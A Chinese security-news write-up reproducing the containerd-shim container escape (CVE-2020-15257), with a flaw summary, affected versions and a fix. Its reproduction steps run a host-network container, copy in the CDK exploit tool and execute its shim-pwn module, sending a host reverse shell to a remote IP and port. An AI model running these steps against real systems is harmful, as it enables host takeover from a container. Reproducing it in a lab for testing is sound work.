热文漏洞资讯

Docker 容器逃逸漏洞 (CVE-2020-15257)复现

漏洞概述

containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。

影响版本

containerd < 1.4.3
containerd < 1.3.9

环境搭建

安装有漏洞的containerd版本

这里我使用的版本是1.2.10

97901-2cm09drxex7.png

漏洞复现

通过--net=host 作为启动参数来运行一个容器:

docker run -it --net=host ubuntu:18.04 /bin/bash
接着在容器内执行

cat /proc/net/unix|grep -a "containerd-shim"
可看到抽象命名空间Unix域套接字
29939-10xzcrx8ldp.png

Poc地址

https://github.com/Xyntax/CDK/releases/tag/0.1.6
这里为了方便行事,我们下载解压直接把cdk_linux_amd64文件拷贝到容器里

docker cp cdk_linux_amd64 b7bd2b523d72:/tmp
75728-qn2gcidhuhl.png
34624-jkb0p2644zs.png

在容器中执行exp,自动搜索可用的socket并反弹宿主机的shell到远端服务器,完成逃逸

./cdk_linux_amd64 run shim-pwn 192.168.1.102 6666
49460-6iwoi30ecsq.png

修复建议

升级 containerd 至最新版本。

文章来源:锋刃科技

本文经授权后发布,本文观点不代表立场,转载请联系原作者。
「漏洞通告」SolarWinds Orion远程执行命令漏洞(CVE-2020-10148)
« 上一篇 12-29
Homeless靶场渗透笔记 | 黑客靶场
下一篇 » 02-19

相关推荐

推荐CS4.1真的有后门吗?

文章来源:酒仙桥六号部队前言CS是什么?可能是某款历史久远的第一人称射击游戏,也可能是某个电影。由于法律原因我们这里并不指出CS是什么,但网络江湖上一直流...